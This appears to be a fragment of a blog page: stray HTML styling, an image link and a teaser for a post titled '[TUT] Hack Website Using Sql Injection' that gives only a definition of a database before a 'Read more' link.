font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh3yJKMLaMM_J-qaYiXAvdNigBIXeettaNIBnNu4gt_KKFunNNcZUGF7UQUxRqzYpY91l2tOxjjlvY2ZDf_X-jDbbIYI0HPK7rbpnQMJ1r0UW-taiuyjP6DOGndiUR6ZyGx3ZFZK1BpAlH/s1600/Sql+Injection+2.JPG" style="-webkit-box-shadow: none; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; box-shadow: none; font-family: Arial, Verdana; font-size: 13px; line-height: 19px; margin: 0px 4px 4px 0px; max-width: 99%; padding: 0px; text-align: justify;">

[TUT] Hack Website Using Sql Injection

Before we see what  SQL Injection is. We should know what SQL and Database are. Database: Database is collection of data. In website point ...

Read more »